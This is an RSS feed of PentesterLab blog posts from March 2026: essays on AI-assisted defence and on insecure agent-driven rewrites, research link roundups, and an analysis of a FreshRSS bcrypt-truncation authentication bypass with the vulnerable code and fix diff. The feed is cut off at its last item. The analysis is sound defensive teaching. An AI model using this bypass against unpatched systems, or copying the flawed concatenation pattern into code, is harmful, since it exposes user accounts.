<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>PentesterLab</title>
    <description>PentesterLab Blog!</description>
    <link>https://pentesterlab.com/blog</link>
    <item>
      <title>Defenders Finally Have the Edge</title>
      <description>
        <![CDATA[<p>
  Everyone is panicking about AI-generated zero days. They should be paying attention to the other side of the equation.
</p>

<p>
  Anthropic recently showed Claude generating hundreds of validated high-severity vulnerabilities using a simple loop. Take every source file in a project, ask the model to find an exploitable bug, verify the result with a second pass. Thomas Ptacek wrote a whole piece arguing that <a href="https://sockpuppet.org/blog/2026/03/30/vulnerability-research-is-cooked/" target="_blank"> vulnerability research as a human discipline is effectively over</a>. The conversation is everywhere right now.
</p>

<p>
  They're not wrong about the capability. But the conclusion most people are drawing, that attackers just got a massive upgrade, misses something important.
</p>

<h2>What Agents Actually Change</h2>

<p>
  Finding a zero day has always required three things: expertise, luck, and resilience. You need to understand the code. You need some luck, because bugs hide in weird places. And you need the patience to go down rabbit hole after rabbit hole, finding nothing, and keep going. The best exploit developers make their own luck by combining all three. Anyone can find a zero day with proper training. That's literally why PentesterLab exists. But doing it at scale required all three, usually at the same time.
</p>

<p>
  Agents collapse two of those. They don't get bored. They take infinite rabbit holes. Luck and resilience stop being bottlenecks.
</p>

<p>
  The limiting factor is no longer finding bugs. It's knowing what matters. Agents will hand you a pile of findings. The skill is sorting signal from noise. That part hasn't been automated. Yet.
</p>

<p>
  But here's where it gets interesting.
</p>

<h2>The Constraint Nobody Is Talking About</h2>

<p>
  Offensive research teams that sell exploits work under extreme secrecy. They can't share their targets with anyone. They can't send proprietary code through an API. Many work in air-gapped networks with no internet access. They can't use Claude. They can't use GPT. They're stuck with whatever open-weight models they can run locally. Smaller context windows. Weaker reasoning. No cross-project learning. Always months behind the frontier.
</p>

<p>
  Defenders are usually far less constrained. Or at least, they can decide to be. It's a risk-management decision.
</p>

<p>
  You can point Claude at your own codebase right now. No air gap. No secrecy problem. Full context window. No restrictions on what you share, because it's your code.
</p>

<p>
  For the first time, the person with the most to lose gets access to the best tools.
</p>

<h2>Breaking One Link Is Enough</h2>

<p>
  Modern exploits are not single bugs. They're chains. A memory corruption to get initial control. A sandbox escape to break out of isolation. A privilege escalation to reach the kernel. A persistence mechanism to survive a reboot. Every link has to hold, or the whole thing falls apart.
</p>

<p>
  Attackers need the full chain. Defenders only need to break one link.
</p>

<p>
  This has always been true in theory. In practice, defenders never had the bandwidth to systematically audit every layer. You'd harden what you could and hope the rest held. The chain survived because nobody had time to inspect every link.
</p>

<p>
  That constraint is gone. Run your agent against the sandbox layer this week. Run it against the IPC boundary next week. Run it against your privilege boundaries the week after. Each pass that finds and fixes a weakness removes a link the attacker was counting on. Do it on a regular cycle and you're not just patching known bugs. You're degrading the attacker's ability to build a working chain at all. And making it almost impossible for attackers to keep a reliable chain working over time across multiple versions of your application. The complexity for attackers grows exponentially.</p>

<p>
  The attacker has to get everything right. You only have to get one thing a bit better, repeatedly.
</p>

<p>
  And here's the best part: as a defender, you don't even need to prove exploitability. That's the attacker's problem. You don't need to convince anyone it's worth fixing. If the code looks fragile, make it less fragile. If a pattern keeps showing up in findings, rewrite it. You just make the code a little bit better every day. Do that consistently and you're breaking links in chains that haven't been built yet.
</p>

<h2>So Do Something About It</h2>

<p>
  This is not theoretical. I've been running exactly these kinds of workflows against real code with Claude. Take the same approach Anthropic described and run it defensively. Loop through your source files. Ask the model to find weaknesses. Fix what comes back. Rewrite what feels fragile. Harden the patterns that keep producing findings.
</p>

<p>
  The shift is not finding exploitable bugs faster. It's fixing weaknesses, repeatably. You run the loop with better models, against code you keep improving. The attacker runs it with worse models, against code that keeps changing under their feet.
</p>

<p>
  Every bug you fix, with a proper test behind it, is gone forever. Every chain an attacker builds can break the next time you push a commit. Your progress compounds. Their job gets harder.
</p>

<p>
  Attackers need to be clever and they're now under-equipped. You just have to be consistent, with better tooling.
</p>
]]>
      </description>
      <pubDate>Tue, 31 Mar 2026 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/defenders-finally-have-the-edge</link>
      <guid>https://pentesterlab.com/blog/defenders-finally-have-the-edge</guid>
    </item>
    <item>
      <title>Research Worth Reading - Week 13, 2026</title>
      <description>
        <![CDATA[<div class="mb-4">
  <p style="font-size:1.15rem;color:#5E6F7C;line-height:1.7;">Only one entry but definitely worth reading!</p>
</div>
<div class="mb-5">
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">☁️ </span><a href="https://flatt.tech/research/posts/remote-command-execution-in-google-cloud-with-single-directory-deletion/" target="_blank" style="color:inherit;text-decoration:none;">Remote Command Execution in Google Cloud with Single Directory Deletion</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="59"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">1</span></span>
  </div>
  <p class="mt-2">This one is a real tour de force:  <a href="https://flatt.tech/research/posts/remote-command-execution-in-google-cloud-with-single-directory-deletion/" target="_blank">Remote Command Execution in Google Cloud with Single Directory Deletion</a>.</p>
</div>
<!-- Substack CTA -->
<div class="mt-5 p-4" style="background-color: #FFFBF5; border: 2px solid #FC9902; border-radius: 8px;">
  <h6 class="mb-3" style="color: #FC9902; font-weight: 700;">📬 Never Miss Quality Security Research</h6>
  <p class="mb-2">Get these curated picks delivered to your inbox every week:</p>
  <ul class="mb-3" style="line-height: 1.8;">
    <li>Hand-picked vulnerability research</li>
    <li>Practical security insights</li>
    <li>CVE deep-dives worth your time</li>
    <li>No fluff, just signal</li>
  </ul>
  <a href="https://pentesterlab.substack.com/" target="_blank" class="btn btn-primary" style="background-color: #FC9902; border: none; color: #fff; font-weight: 600;">Subscribe for Free →</a>
</div>
]]>
      </description>
      <pubDate>Sun, 29 Mar 2026 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week13-2026</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week13-2026</guid>
    </item>
    <item>
      <title>Research Worth Reading - Week 12, 2026</title>
      <description>
        <![CDATA[<div class="mb-4">
  <p style="font-size:1.15rem;color:#5E6F7C;line-height:1.7;">AI doing research, AI killing CTF</p>
</div>
<div class="mb-5">
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">🤖 </span><a href="https://xclow3n.github.io/post/7" target="_blank" style="color:inherit;text-decoration:none;">Testing AI for Vulnerability Research: 4 Approaches &amp; Where I Failed</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="54"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">1</span></span>
  </div>
  <p class="mt-2">If you can only read one thing this week, make it this article:  <a href="https://xclow3n.github.io/post/7" target="_blank">Testing AI for Vulnerability Research: 4 Approaches &amp; Where I Failed</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">🛠️ </span><a href="https://slcyber.io/research-center/hyoketsu-solving-the-vendor-dependency-problem-in-re/" target="_blank" style="color:inherit;text-decoration:none;">Hyoketsu – Solving the Vendor Dependency Problem in RE</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="55"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">1</span></span>
  </div>
  <p class="mt-2">Reversing Java and C# applications just became a lot easier thanks to the SearchLight Cyber team (ex: Assetnote):  <a href="https://slcyber.io/research-center/hyoketsu-solving-the-vendor-dependency-problem-in-re/" target="_blank">Hyoketsu – Solving the Vendor Dependency Problem in RE</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">🐧 </span><a href="https://sashiko.dev/" target="_blank" style="color:inherit;text-decoration:none;">Sashiko</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="57"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">1</span></span>
  </div>
  <p class="mt-2">Sashiko is an agentic Linux kernel code review system that monitors public mailing lists to thoroughly evaluate proposed Linux kernel changes. <a href="https://sashiko.dev/" target="_blank">Sashiko</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">💀 </span><a href="https://k3ng.xyz/blog/ctf-is-dead" target="_blank" style="color:inherit;text-decoration:none;">CTF is dead*</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="58"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">1</span></span>
  </div>
  <p class="mt-2">A good rant on the impact of AI on CTF...  <a href="https://k3ng.xyz/blog/ctf-is-dead" target="_blank">CTF is dead*</a>.</p>
</div>
<!-- Substack CTA -->
<div class="mt-5 p-4" style="background-color: #FFFBF5; border: 2px solid #FC9902; border-radius: 8px;">
  <h6 class="mb-3" style="color: #FC9902; font-weight: 700;">📬 Never Miss Quality Security Research</h6>
  <p class="mb-2">Get these curated picks delivered to your inbox every week:</p>
  <ul class="mb-3" style="line-height: 1.8;">
    <li>Hand-picked vulnerability research</li>
    <li>Practical security insights</li>
    <li>CVE deep-dives worth your time</li>
    <li>No fluff, just signal</li>
  </ul>
  <a href="https://pentesterlab.substack.com/" target="_blank" class="btn btn-primary" style="background-color: #FC9902; border: none; color: #fff; font-weight: 600;">Subscribe for Free →</a>
</div>
]]>
      </description>
      <pubDate>Sun, 22 Mar 2026 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week12-2026</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week12-2026</guid>
    </item>
    <item>
      <title>How "Strengthening Crypto" Broke Authentication: FreshRSS and bcrypt's 72-Byte Limit</title>
      <description>
        <![CDATA[<p>As part of our CVE monitoring, we came across <a href="https://github.com/FreshRSS/FreshRSS/security/advisories/GHSA-pcq9-mq6m-mvmp">GHSA-pcq9-mq6m-mvmp</a> (CVE-2025-68402), an authentication bypass in <a href="https://github.com/FreshRSS/FreshRSS">FreshRSS</a>, a self-hosted RSS aggregator. It is a good example of how over-engineering can hurt the security of an application.</p>


<p class="lead">
A commit meant to strengthen the crypto ended up removing the need for a valid password.
</p>



<p>It's worth noting upfront: <b>this issue only affected the edge (development) branch</b> and never made it into a stable release. But the pattern is instructive.</p>

<p>While this is a cool bug to study and understand, it would make a poor hacking lab since exploitation is trivial (just log in with any password). It would also be a difficult code review exercise since spotting it requires understanding the full interaction between the nonce length change and bcrypt's truncation behaviour, which involves a lot of context across multiple files.</p>

<h5 class="fw-bold my-3">A Quick Primer on bcrypt Hashes</h5>

<p>Before diving in, it helps to understand what a bcrypt hash looks like. A bcrypt hash is a 60-character string with a specific structure:</p>

<pre><code>$2y$10$abcdefghijklmnopqrstuuABCDEFGHIJKLMNOPQRSTUVWXYZ01234
 ^^ ^^ ^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 |  |         |                          |
 |  |    22-char salt              31-char hash output
 |  |                           (password-dependent)
 | cost factor
 |
algorithm id</code></pre>

<p>The first 29 characters (<code>$2y$10$</code> + the 22-character salt) are fixed for a given user and do not depend on the password. The remaining 31 characters are the actual hash output and are the only part that changes when you use a different password.</p>

<p>PHP's <code>password_verify($input, $hash)</code> function takes a plaintext input and a bcrypt hash, extracts the algorithm, cost, and salt from the hash, recomputes bcrypt on the input using those parameters, and checks whether the result matches.</p>

<p>Crucially, <b>bcrypt silently truncates its input at 72 bytes</b>. Anything beyond the 72nd byte is simply ignored. This is a well-known property of the algorithm, but it is easy to forget when composing bcrypt with other operations.</p>

<h5 class="fw-bold my-3">FreshRSS's Authentication Protocol</h5>

<p>FreshRSS does not send the user's password to the server in plain text (even over HTTPS). Instead, it uses a challenge-response protocol with client-side bcrypt hashing. Here is how it works:</p>

<ol>
  <li>The client asks the server for a <code>nonce</code> (a random one-time value) and <code>salt1</code> (the first 29 characters of the user's stored bcrypt hash, the algorithm, cost, and salt).</li>
  <li>The client computes:
    <pre><code class="php">// bcrypt hash of password (60 chars)
s = bcrypt.hashSync(password, salt1);        
// bcrypt hash of nonce+s
c = bcrypt.hashSync(nonce + s, randomSalt);</code></pre>
  </li>
  <li>The client sends <code>c</code> (as <code>challenge</code>) to the server.</li>
  <li>The server verifies:
    <pre><code class="php">password_verify($nonce . $hash, $challenge);</code></pre>
    This recomputes <code>bcrypt(nonce + hash)</code> and checks it matches the <code>challenge</code> the client sent.
  </li>
</ol>

<p>The nonce prevents replay attacks: even if an attacker captures the <code>hash</code> and <code>challenge</code>, they cannot reuse them because the next login will have a different nonce.</p>

<h5 class="fw-bold my-3">The "Strengthen Crypto" Commit</h5>

<p>In October 2025, <a href="https://github.com/FreshRSS/FreshRSS/pull/8061" target="_blank">PR #8061</a> (<i>"Strengthen some crypto"</i>) made several changes to improve the cryptographic primitives used by FreshRSS:</p>

<ul>
  <li>Replaced <code>mt_rand()</code> with <code>random_bytes()</code> for randomness</li>
  <li>Replaced <code>uniqid()</code> with proper random byte generation</li>
  <li>Replaced <code>sha1()</code> with <code>hash('sha256', ...)</code> for nonce generation</li>
</ul>

<p>Each of these changes is individually reasonable. SHA-256 is stronger than SHA-1. <code>random_bytes()</code> is cryptographically secure while <code>mt_rand()</code> is not. These are textbook recommendations.</p>

<p>But there is a side effect. The nonce went from being a SHA-1 hex digest (<b>40 characters</b>) to a SHA-256 hex digest (<b>64 characters</b>).</p>

<pre><code class="diff">// Before (40-char nonce):
-$this->view->nonce = sha1($salt . uniqid('' . mt_rand(), true));

// After (64-char nonce):
+$this->view->nonce = hash('sha256', FreshRSS_Context::systemConf()->salt . $user . random_bytes(32));</code></pre>

<h5 class="fw-bold my-3">How the Truncation Breaks Authentication</h5>

<p>With the original 40-character nonce:</p>
<pre>
nonce (40 chars) + hash (60 chars) = 100 chars total
[---- nonce (40) ----][---- first 32 chars of hash ----]
                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                       Contains password-dependent data
</pre>

<p>Remember, the first 29 characters of a bcrypt hash are the algorithm, cost, and salt (not password-dependent), and the password-dependent output starts at character 30. With a 40-char nonce, bcrypt sees up to character 72, which is well past the password-dependent portion. Authentication works correctly.</p>

<p>With the new 64-character nonce:</p>
<pre>
nonce (64 chars) + hash (60 chars) = 124 chars total
[----------- nonce (64) -----------][8 chars]
                                    ^^^^^^^^
                                    $2y$10$X
                      (just the bcrypt prefix + 1 salt char)
</pre>

<p>The 72-byte window now contains the 64-character nonce plus only 8 characters of the hash. Those 8 characters are <code>$2y$10$</code> (the bcrypt algorithm identifier and cost parameter) plus one character of the salt. None of this depends on the user's password. It is the same regardless of what password was entered.</p>

<p><b>Result: <code>password_verify()</code> returns <code>true</code> for any password.</b></p>

<h5 class="fw-bold my-3">The Fix</h5>

<p>The fix in <a href="https://github.com/FreshRSS/FreshRSS/pull/8320" target="_blank">PR #8320</a> is simple: just swap the concatenation order:</p>

<pre><code class="diff">// Server (PHP):
-return password_verify($nonce . $hash, $challenge);
+return password_verify($hash . $nonce, $challenge);

// Client (JavaScript):
-const c = bcrypt.hashSync(json.nonce + s, ...);
+const c = bcrypt.hashSync(s + json.nonce, ...);</code></pre>

<p>Now the 60-character hash comes first. All 60 bytes fit within the 72-byte window, and the nonce fills the remaining 12 bytes. The password-dependent data is fully included in the bcrypt computation, and authentication works correctly again.</p>

<h5 class="fw-bold my-3">Lessons Learned</h5>

<p><b>Understand the primitives you are composing.</b> SHA-256 is stronger than SHA-1 in isolation. But "stronger" does not mean "safe to substitute" when the output feeds into another function with its own constraints. The 40-character SHA-1 nonce was not chosen because SHA-1 was considered secure. It just happened to be short enough that bcrypt's truncation did not matter. The upgrade to SHA-256 broke that assumption.</p>

<p><b>Over-engineering can hurt security.</b> The challenge-response protocol with client-side bcrypt is already unusual. Most web applications just send the password over HTTPS and hash server-side. The added complexity created a subtle interaction between nonce length and bcrypt truncation that a simpler design would not have. More layers of crypto does not automatically mean more security.</p>

<p><b>Test authentication.</b> The FreshRSS test suite has no tests for the authentication flow at all. The only password-related test checks validation rules (minimum length, non-empty), not actual credential verification. The complexity of the challenge-response protocol likely made it harder to test than a simple password check, but that is exactly the kind of code that needs tests the most. A single test case (log in with the wrong password and assert failure) would have caught this immediately.</p>

<p><b>Edge branches matter.</b> This bug never reached a stable release, which is good. But it lived in the edge branch for about two months. Users tracking the development branch, often the most engaged members of the community, were running a version where any password worked. The edge/stable split limited the blast radius, but it is a reminder that development branches deserve security attention too.</p>

<p>If you enjoy this kind of vulnerability analysis, check out <a href="https://www.amazon.com/CVE-Archeologists-Field-Guide-vulnerability/dp/B0GMVXM7S1/">The CVE Archeologist's Field Guide</a>, where I dig into real-world vulnerabilities and the patterns behind them.</p>
]]>
      </description>
      <pubDate>Tue, 10 Mar 2026 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/freshrss-bcrypt-truncation-auth-bypass</link>
      <guid>https://pentesterlab.com/blog/freshrss-bcrypt-truncation-auth-bypass</guid>
    </item>
    <item>
      <title>Research Worth Reading - Week 10, 2026</title>
      <description>
        <![CDATA[<div class="mb-4">
  <p style="font-size:1.15rem;color:#5E6F7C;line-height:1.7;">A great mix of content this week!</p>
</div>
<div class="mb-5">
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">🔒 </span><a href="https://www.provos.org/p/ironcurtain-secure-personal-assistant/" target="_blank" style="color:inherit;text-decoration:none;">IronCurtain: A Personal AI Assistant Built Secure from the Ground Up</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="47"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">1</span></span>
  </div>
  <p class="mt-2">Niels Provos (from OpenBSD&#39;s systrace) is sharing a new tool to sandbox your AI assistant:  <a href="https://www.provos.org/p/ironcurtain-secure-personal-assistant/" target="_blank">IronCurtain: A Personal AI Assistant Built Secure from the Ground Up</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">🚥 </span><a href="https://www.synacktiv.com/en/publications/mitmproxy-for-fun-and-profit-interception-and-analysis-of-application-traffic" target="_blank" style="color:inherit;text-decoration:none;">mitmproxy for fun and profit: Interception and Analysis of Application Traffic</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="48"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">1</span></span>
  </div>
  <p class="mt-2">A write-up on how to use mitmproxy:  <a href="https://www.synacktiv.com/en/publications/mitmproxy-for-fun-and-profit-interception-and-analysis-of-application-traffic" target="_blank">mitmproxy for fun and profit: Interception and Analysis of Application Traffic</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">✨ </span><a href="https://blog.doyensec.com/2026/03/05/mcp-nightmare.html" target="_blank" style="color:inherit;text-decoration:none;">The MCP AuthN/Z Nightmare</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="51"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">1</span></span>
  </div>
  <p class="mt-2">A reminder of the mess AuthN/Z with MCP is: <a href="https://blog.doyensec.com/2026/03/05/mcp-nightmare.html" target="_blank">The MCP AuthN/Z Nightmare</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">😎 </span><a href="https://vibe-radar-ten.vercel.app/" target="_blank" style="color:inherit;text-decoration:none;">Vibe Security Radar</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="52"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">0</span></span>
  </div>
  <p class="mt-2">A cool little project to track the security issues created by vibe coding: <a href="https://vibe-radar-ten.vercel.app/" target="_blank">Vibe Security Radar</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">⛓️‍💥 </span><a href="https://www.codeant.ai/security-research/pac4j-jwt-authentication-bypass-public-key" target="_blank" style="color:inherit;text-decoration:none;">Authentication Bypass in pac4j</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="50"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">1</span></span>
  </div>
  <p class="mt-2">Another issue with a library leveragining JWT: <a href="https://www.codeant.ai/security-research/pac4j-jwt-authentication-bypass-public-key" target="_blank">Authentication Bypass in pac4j</a>.</p>
</div>
<!-- Substack CTA -->
<div class="mt-5 p-4" style="background-color: #FFFBF5; border: 2px solid #FC9902; border-radius: 8px;">
  <h6 class="mb-3" style="color: #FC9902; font-weight: 700;">📬 Never Miss Quality Security Research</h6>
  <p class="mb-2">Get these curated picks delivered to your inbox every week:</p>
  <ul class="mb-3" style="line-height: 1.8;">
    <li>Hand-picked vulnerability research</li>
    <li>Practical security insights</li>
    <li>CVE deep-dives worth your time</li>
    <li>No fluff, just signal</li>
  </ul>
  <a href="https://pentesterlab.substack.com/" target="_blank" class="btn btn-primary" style="background-color: #FC9902; border: none; color: #fff; font-weight: 600;">Subscribe for Free →</a>
</div>
]]>
      </description>
      <pubDate>Sun, 08 Mar 2026 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week10-2026</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week10-2026</guid>
    </item>
    <item>
      <title>Research Worth Reading - Week 9, 2026</title>
      <description>
        <![CDATA[<div class="mb-4">
  <p style="font-size:1.15rem;color:#5E6F7C;line-height:1.7;">Mostly AI...</p>
</div>
<div class="mb-5">
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">💻 </span><a href="https://wiki.notveg.ninja/tools/lna-port-scanning/" target="_blank" style="color:inherit;text-decoration:none;">Browser-Based Port Scanning in the Age of LNA</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="44"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">1</span></span>
  </div>
  <p class="mt-2">Leveraging Local Network Access to create a port scanner!  <a href="https://wiki.notveg.ninja/tools/lna-port-scanning/" target="_blank">Browser-Based Port Scanning in the Age of LNA</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">🪟 </span><a href="https://substack.com/home/post/p-188916866" target="_blank" style="color:inherit;text-decoration:none;">100+ Kernel Bugs in 30 Days</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="45"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">2</span></span>
  </div>
  <p class="mt-2">Behind the (impressive) result, the methodology is probably the most important. Make sure you read between the lines:  <a href="https://substack.com/home/post/p-188916866" target="_blank">100+ Kernel Bugs in 30 Days</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">⛈️ </span><a href="https://www.hacktron.ai/blog/hacking-cloudflare-vinext" target="_blank" style="color:inherit;text-decoration:none;">vinext: Vibe-Hacking Cloudflare&#39;s Vibe-Coded Next.js Replacement</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="46"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">1</span></span>
  </div>
  <p class="mt-2">It&#39;s raining bugs in the cloud. A great example of agent capabilities on a never-seen-before target:  <a href="https://www.hacktron.ai/blog/hacking-cloudflare-vinext" target="_blank">vinext: Vibe-Hacking Cloudflare&#39;s Vibe-Coded Next.js Replacement</a>.</p>
</div>
<!-- Substack CTA -->
<div class="mt-5 p-4" style="background-color: #FFFBF5; border: 2px solid #FC9902; border-radius: 8px;">
  <h6 class="mb-3" style="color: #FC9902; font-weight: 700;">📬 Never Miss Quality Security Research</h6>
  <p class="mb-2">Get these curated picks delivered to your inbox every week:</p>
  <ul class="mb-3" style="line-height: 1.8;">
    <li>Hand-picked vulnerability research</li>
    <li>Practical security insights</li>
    <li>CVE deep-dives worth your time</li>
    <li>No fluff, just signal</li>
  </ul>
  <a href="https://pentesterlab.substack.com/" target="_blank" class="btn btn-primary" style="background-color: #FC9902; border: none; color: #fff; font-weight: 600;">Subscribe for Free →</a>
</div>
]]>
      </description>
      <pubDate>Sun, 01 Mar 2026 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week09-2026</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week09-2026</guid>
    </item>
    <item>
      <title>What you don't see</title>
      <description>
        <![CDATA[<p>More and more, with the progress of coding agents, people are rewriting software.</p>

<p>And honestly, it looks easy. You write a good prompt. You get a plan. You execute the plan. One feature at a time (based on your Product Requirements Document/PRD). Ship.</p>

<p>Last week, Cloudflare showed vinext, an experiment to run the Next.js API surface on their own stack. One engineer, one week, about $1,100 in tokens. It is impressive. It is fast. It proves something important: with the right agent setup, you can rebuild a lot of software very quickly.</p>

<p>And that is exactly the problem.</p>

<p>Because when you rebuild mature software quickly, you rebuild what you can see. You do not rebuild what you cannot see.</p>

<h5>Scars, Not Accidents</h5>

<p>Mature software is not big because developers enjoy complexity. It is big because it has been through years of production traffic, weird integrations, security research, fuzzing, CVEs, bypasses of the bypasses, and painful post-mortems.</p>

<p>Over time, those incidents leave marks. A strange conditional branch. A strict parser that feels "too strict." A default that seems overly conservative. A normalization step that nobody dares to remove. These are not accidents. They are scars.</p>

<p>You do not notice them when you use the software. You only notice them when they are gone.</p>

<h5>Security Does Not Live in the Happy Path</h5>

<p>When someone rewrites a framework in a weekend, they start from the surface: routes, features, happy paths, compatibility for normal users.</p>

<p>But security does not live in the happy path.</p>

<p>Security lives in malformed inputs. In encoding edge cases. In parser differentials. In ambiguous specs. In "works as intended" gaps. In behavior that only shows up when two components disagree on what a string means.</p>

<p>Those things are not visible from the outside. They are the result of years of people trying to break the system.</p>

<p>When you rewrite something from scratch with or without an agent, you see the features. You do not see the battles that shaped them.</p>

<h5>URL Parsing and vinext</h5>

<p>This is not abstract. Consider URL parsing. The Node.js package <code>url-parse</code> was written as a lightweight alternative to existing parsers: small footprint, clean API, works in the browser. It looked like a better, simpler version of something mature. It got millions of downloads per week.</p>

<p>Then came the CVEs. Six of them in under two years. Backslashes treated as relative paths. Missing ports causing hostname confusion. Encoded characters slipping past validation. Each one a bypass that let attackers forge hostnames, redirect users, or reach internal services. Each one exploiting an edge case that the battle-tested parsers had already learned to handle, through years of exactly this kind of breakage.</p>

<p>The original parsers were not complicated because their authors liked complexity. They were complicated because <code>http://example.com:</code> and <code>https:\</code> and <code>http:///google.com</code> all need to resolve to something, and the wrong answer is a security hole. That knowledge was not in any spec. It was earned through pain.</p>

<p>And then there is vinext itself. Within days of the announcement, <a href="https://x.com/rauchg/status/2026864132423823499" target="_blank" rel="noopener noreferrer">Vercel's security team audited the project</a> and responsibly disclosed seven vulnerabilities: two critical, two high, two medium, one low. Nothing like spite-auditing ;). The team at Hacktron went further: they <a href="https://www.hacktron.ai/blog/hacking-cloudflare-vinext" target="_blank" rel="noopener noreferrer">pointed their autonomous scanner at vinext</a> and came back with 24 validated findings, including session hijacking via race conditions, cache poisoning that served one user's authenticated data to everyone, and middleware bypass through double-encoded paths. Classic parser differentials between layers that each decoded the URL at different stages.</p>

<p>The most telling detail from the Hacktron report: Next.js has an undocumented heuristic where requests containing <code>Authorization</code> or <code>Cookie</code> headers automatically opt out of shared caching. That behavior is not in any API spec. It evolved from production incidents. When vinext reimplemented fetch caching from the spec, that invisible rule did not exist, so the first authenticated user's response got cached and served to every subsequent visitor.</p>

<p>That is what a scar looks like. It is not in the feature list. It is not in the docs. It is the result of someone getting burned, and the fix quietly preventing everyone else from getting burned too.</p>

<h5>The Invisible Value</h5>

<p>The uncomfortable truth is this: in mature software, a large part of the value is invisible.</p>

<p>It is the conservative default that prevents a foot-gun. It is the input validation that feels annoying. It is the strictness that breaks your "creative" use case. It is the check that seems redundant. It is all the times someone already tried to break it.</p>

<p>Agents are very good at producing output. They are not automatically good at reproducing history. And history is what hardens software.</p>

<h5>How to Rewrite Responsibly</h5>

<p>This is not an argument against rewrites. Sometimes the architecture really is broken. Sometimes you do need to start over. And now that coding agents have lowered the cost of rewriting to almost zero, more teams will try.</p>

<p>But if you are going to replace something mature, assume you are missing the most important parts.</p>

<p>Once the rewrite works, go through the CVEs that impacted the original. Not just the titles. Read the advisories. Understand the mechanisms. Look at what the mature codebase does that yours does not, and ask why. Find the checks that seem redundant, the defaults that seem too strict, the logic that looks like over-engineering. Figure out what is auto-magically preventing issues or enforcing security in the original, because odds are your clean new version quietly lost it.</p>

<p>Turn those into tests. Run them against your rewrite. See what breaks.</p>

<p>In my <a href="https://pentesterlab.com/live-training/" target="_blank" rel="noopener noreferrer">code review training</a>, I recommend playing "spot the differences." Take two codebases and try to find what is done differently, then ask: is there a security impact? This strategy works perfectly here. Put the original and the rewrite side by side. Do not look at what is common. Look at what is different. That is where the vulnerabilities are.</p>
]]>
      </description>
      <pubDate>Sun, 01 Mar 2026 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/what-you-dont-see</link>
      <guid>https://pentesterlab.com/blog/what-you-dont-see</guid>
    </item>
    <item>
      <title>Research Worth Reading - Week 8, 2026</title>
      <description>
        <![CDATA[<div class="mb-4">
